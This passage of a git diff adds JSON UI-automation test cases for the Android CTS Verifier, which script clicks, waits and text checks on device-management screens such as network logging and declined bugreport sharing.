info\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"322f2f77-6b6b-4480-b949-f92d214e27ce\",\"displayText\":\"Managed device info\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"3e67fd70-9d0c-41ea-8917-e048e64f9223\",\"displayText\":\"Navigate up\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageButton\",\"contentDesc\":\"Navigate up\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":24.5,\"x2\":49.0,\"y2\":73.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Navigate up\"},{\"uuid\":\"0b9396b1-952f-408d-bef5-1b0e1bf4d6ab\",\"displayText\":\"Managed device info\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"text\":\"Managed device info\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":37.25,\"x2\":232.5,\"y2\":60.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-4.75,\"y\":2.375,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Managed device info\"},{\"uuid\":\"b153cd1f-e915-42b5-b5aa-180f9aea0a34\",\"displayText\":\"Search settings\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"f084e7e9-161c-47d9-9d4b-921ee1c80cc0\",\"displayText\":\"Search settings\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"contentDesc\":\"Search settings\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":276.0,\"y1\":28.0,\"x2\":318.0,\"y2\":70.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Search settings\"},{\"uuid\":\"6e99af5a-9ced-40b3-abb6-164b79f0828d\",\"displayText\":\"Help & feedback\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"contentDesc\":\"Help & feedback\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":318.0,\"y1\":28.0,\"x2\":360.0,\"y2\":70.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Help & feedback\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":276.0,\"y1\":24.5,\"x2\":360.0,\"y2\":73.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Search settings\"}],\"className\":\"android.view.ViewGroup\",\"resourceId\":\"com.android.settings:id/action_bar\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":24.5,\"x2\":360.0,\"y2\":73.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":152.5,\"y\":46.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":27.5,\"y\":2.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"0b9396b1-952f-408d-bef5-1b0e1bf4d6ab\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Managed device info\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":55.0,\"y1\":37.0,\"x2\":250.0,\"y2\":56.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"c786fec8-1892-4520-93dd-5980d14a7e06\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disable Network Logging\",\"actionId\":\"38e43ec3-c0f8-4147-9225-1b833261b29f\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disable Network Logging\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that the notification is disappeared\",\"actionId\":\"d5a864e4-4dad-4b4c-9332-8e68571b114a\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Your organization manages this device and may monitor network traffic. Tap for details.\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"230c5813-d58c-43be-bba8-d0d0b2be3bed\",\"displayText\":\"Your organization manages this device and may monitor network traffic. Tap for details.\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"57a4b720-c73b-416e-9763-3794ea067666\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.view.View\",\"resourceId\":\"com.android.systemui:id/backgroundNormal\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":194.25,\"x2\":356.5,\"y2\":303.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"4014b68f-2507-4b19-a5a2-771f80e31457\",\"displayText\":\"Android System\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"acb61c4a-025a-49fc-ac84-894fbc4cd54f\",\"displayText\":\"Android System\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"4d7de95f-4b44-4c6b-8c79-efad79bc1f5d\",\"displayText\":\"Android System\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"7914fdbb-3f8a-467e-9a84-7938b3484f9b\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"fa1993f1-248d-4885-8277-538cc5d54ba0\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":17.5,\"y1\":208.25,\"x2\":31.75,\"y2\":224.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"android:id/header_icon_container\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":17.5,\"y1\":208.25,\"x2\":36.0,\"y2\":224.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"fa75a523-472e-4a38-a7cf-3bed005a8131\",\"displayText\":\"Android System\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/app_name_text\",\"text\":\"Android System\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":38.75,\"y1\":209.0,\"x2\":112.75,\"y2\":223.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Android System\"},{\"uuid\":\"7045e0be-e3e6-424b-97ad-65f12b6eb2d3\",\"displayText\":\"•\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/time_divider\",\"text\":\"•\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":116.25,\"y1\":209.0,\"x2\":119.75,\"y2\":223.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"•\"},{\"uuid\":\"0e5f493e-5220-4ce2-bd72-bed3e1cc7884\",\"displayText\":\"now\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/time\",\"text\":\"now\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":123.25,\"y1\":209.0,\"x2\":143.0,\"y2\":223.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"now\"},{\"uuid\":\"dd7dc43f-2f22-470b-9220-89ed40ffdb3f\",\"displayText\":\"Alerted\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/alerted_icon\",\"contentDesc\":\"Alerted\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":148.25,\"y1\":210.75,\"x2\":158.75,\"y2\":221.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Alerted\"},{\"uuid\":\"41702fec-5549-4078-bcef-8d394bc99cf4\",\"displayText\":\"Collapse\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"android:id/expand_button\",\"contentDesc\":\"Collapse\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":311.75,\"y1\":195.0,\"x2\":353.75,\"y2\":237.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Collapse\"}],\"className\":\"android.view.ViewGroup\",\"resourceId\":\"android:id/notification_header\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":194.25,\"x2\":356.5,\"y2\":238.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Android System\"},{\"uuid\":\"70f0ad06-eee3-4e47-a42e-d4d18b703d6c\",\"displayText\":\"Device is managed\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"ec97d920-93e7-4ae6-b417-216c449151ac\",\"displayText\":\"Device is managed\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"f609b7a0-69dd-4fbb-87ba-e45682ed015d\",\"displayText\":\"Device is managed\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"daca5554-e4ef-4121-8764-b556352ffa63\",\"displayText\":\"Device is managed\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Device is managed\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":17.5,\"y1\":234.5,\"x2\":342.5,\"y2\":251.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Device is managed\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"android:id/line1\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":17.5,\"y1\":234.5,\"x2\":342.5,\"y2\":251.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Device is managed\"},{\"uuid\":\"f56b6d10-402f-4189-b9bb-24d0c5471d2c\",\"displayText\":\"Your organization manages this device and may monitor network traffic. Tap for details.\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/big_text\",\"text\":\"Your organization manages this device and may monitor network traffic. Tap for details.\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":17.5,\"y1\":251.5,\"x2\":342.5,\"y2\":285.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":58.0,\"y\":-3.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Your organization manages this device and may monitor network traffic. Tap for details.\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"android:id/notification_main_column\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":234.5,\"x2\":356.5,\"y2\":285.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Device is managed\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"android:id/notification_action_list_margin_target\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":234.5,\"x2\":356.5,\"y2\":285.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Device is managed\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"android:id/status_bar_latest_event_content\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":194.25,\"x2\":356.5,\"y2\":303.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Android System\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.android.systemui:id/expanded\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":194.25,\"x2\":356.5,\"y2\":303.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Android System\"},{\"uuid\":\"b05e5b39-9fe1-48ac-ae22-772d7aa19e79\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.android.systemui:id/fake_shadow\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":194.25,\"x2\":356.5,\"y2\":303.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.FrameLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":194.25,\"x2\":356.5,\"y2\":303.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":122.0,\"y\":272.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":58.0,\"y\":-23.375,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"f56b6d10-402f-4189-b9bb-24d0c5471d2c\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Your organization manages this device and may monitor network traffic. Tap for details.\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":10.0,\"y1\":259.0,\"x2\":234.0,\"y2\":285.0}}],\"childrenIdList\":[\"c1068330-ea63-4e42-8806-773d1152094f\",\"00bb4d7d-0cfa-4f1c-a9df-d6d44c983c5b\",\"5bbe7930-8fb4-45c4-8f6d-d8f00f0f91b5\",\"bc4f5534-26cb-4b19-b548-609b6c8e326e\",\"dffaef8a-e21c-4638-be67-bbb7d39f68f4\",\"31902e22-dd19-4a14-9a1f-5bca034bacd5\",\"e1949e3a-a29c-4bd4-bb14-6f4bd4671f70\",\"bc4f5534-26cb-4b19-b548-609b6c8e326e\",\"cec57167-1485-4e63-917b-0b2d9b83ab52\",\"793e0e1b-8e8c-4374-a196-7cf63d07832e\",\"05ed8764-76c4-443e-8de4-e91ad9ea61bd\",\"24c89f2a-1d49-4d44-a5bc-56aafd848981\",\"114f14bc-f910-4345-ade8-81db5fb83e10\",\"6d9b92ea-715f-48d2-86e8-481b38456dba\",\"596901ce-4220-4ba2-bd8f-0b82daca0a46\",\"579e17ab-5d2e-49ac-92f6-cb62e7e2de69\",\"c786fec8-1892-4520-93dd-5980d14a7e06\",\"38e43ec3-c0f8-4147-9225-1b833261b29f\",\"15c75efc-b173-4eed-9a2c-164886355c98\",\"d5a864e4-4dad-4b4c-9332-8e68571b114a\",\"31902e22-dd19-4a14-9a1f-5bca034bacd5\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"22-Network Logging UI(Check image)","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.211000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c3700e79-6895-4fa0-8b1b-d34c5fa5b82d b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c3700e79-6895-4fa0-8b1b-d34c5fa5b82d
new file mode 100644
index 0000000..a3054b8
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c3700e79-6895-4fa0-8b1b-d34c5fa5b82d
@@ -0,0 +1 @@
+{"uuid":"c3700e79-6895-4fa0-8b1b-d34c5fa5b82d","details":"{\"type\":\"CompoundAction\",\"name\":\"02-Sharing of requested bugreport declined while being taken\",\"actionId\":\"c3700e79-6895-4fa0-8b1b-d34c5fa5b82d\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Sharing of requested bugreport declined while being taken\",\"actionId\":\"c82b9ab3-de34-4f18-bc12-8224225b4adf\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Sharing of requested bugreport declined while being taken\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY \\\"Taking bugreport...\\\" with an indefinite progress bar is present\",\"actionId\":\"c86f4fd4-58a2-48a2-8a8f-6d6c3995ca97\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"Taking bug report\"}]},\"clickAfterValidation\":false},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"160a5cd3-079d-477a-b32a-a27755bd8e0e\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"WaitAction\",\"name\":\"WAIT 10 secs\",\"actionId\":\"9a3d1b5f-0310-4ba5-a2ab-7228f2ae0ecc\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":10000,\"createdBy\":\"riacheltseng\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY \\\"Bugreport is already being collected on this device\\\" is present\",\"actionId\":\"c8d42c9b-f92f-49b6-afe0-241ed9548b87\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Bugreport is already being collected on this device\"}]},\"clickAfterValidation\":false},{\"type\":\"PythonScriptAction\",\"name\":\"Dismiss Bugreport is already being collected on this device notification\",\"actionId\":\"3930b14e-2ed4-43aa-8013-87a0fcebed44\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\n\\nd= Device.create_device_by_slot(0)\\nd.text(\\\"Bugreport is already being collected on this device\\\").swipe()\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"ClickAction\",\"name\":\"Click Action, Taking bug report…\",\"actionId\":\"5d6e4cc7-9dd5-4d77-86cc-99b74d6453a1\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"Taking bug report\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY a message \\\"Your IT admin requested a bug report to help troubleshoot this device....\\\" is present\",\"actionId\":\"86f20e37-2538-49da-be05-4fbc10d470a3\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"Your IT admin requested a bug report to help troubleshoot this device\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY Bugreport sharing declined is present\",\"actionId\":\"63d14aa1-4fed-473d-bac0-f1e216e8625d\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Bugreport sharing declined\"}]},\"clickAfterValidation\":false},{\"type\":\"PythonScriptAction\",\"name\":\"Dismiss \\\"Bugreport sharing declined\\\" message\",\"actionId\":\"38fed661-0791-4f83-81fa-9f2275bf03b5\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\n\\nd= Device.create_device_by_slot(0)\\nd.text(\\\"Bugreport sharing declined\\\").swipe()\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"414f5f8a-5661-4a49-b421-ba573c5fc964\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"4f3ec13b-589a-4ca3-b456-7224028d0604\",\"c82b9ab3-de34-4f18-bc12-8224225b4adf\",\"4275df2b-8d38-49a9-b956-6d5f06257f5a\",\"15c75efc-b173-4eed-9a2c-164886355c98\",\"c86f4fd4-58a2-48a2-8a8f-6d6c3995ca97\",\"160a5cd3-079d-477a-b32a-a27755bd8e0e\",\"4275df2b-8d38-49a9-b956-6d5f06257f5a\",\"9a3d1b5f-0310-4ba5-a2ab-7228f2ae0ecc\",\"15c75efc-b173-4eed-9a2c-164886355c98\",\"c8d42c9b-f92f-49b6-afe0-241ed9548b87\",\"3930b14e-2ed4-43aa-8013-87a0fcebed44\",\"5d6e4cc7-9dd5-4d77-86cc-99b74d6453a1\",\"86f20e37-2538-49da-be05-4fbc10d470a3\",\"7eec7b1d-4c98-48f8-ab8b-8c82006cfef4\",\"15c75efc-b173-4eed-9a2c-164886355c98\",\"63d14aa1-4fed-473d-bac0-f1e216e8625d\",\"38fed661-0791-4f83-81fa-9f2275bf03b5\",\"414f5f8a-5661-4a49-b421-ba573c5fc964\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"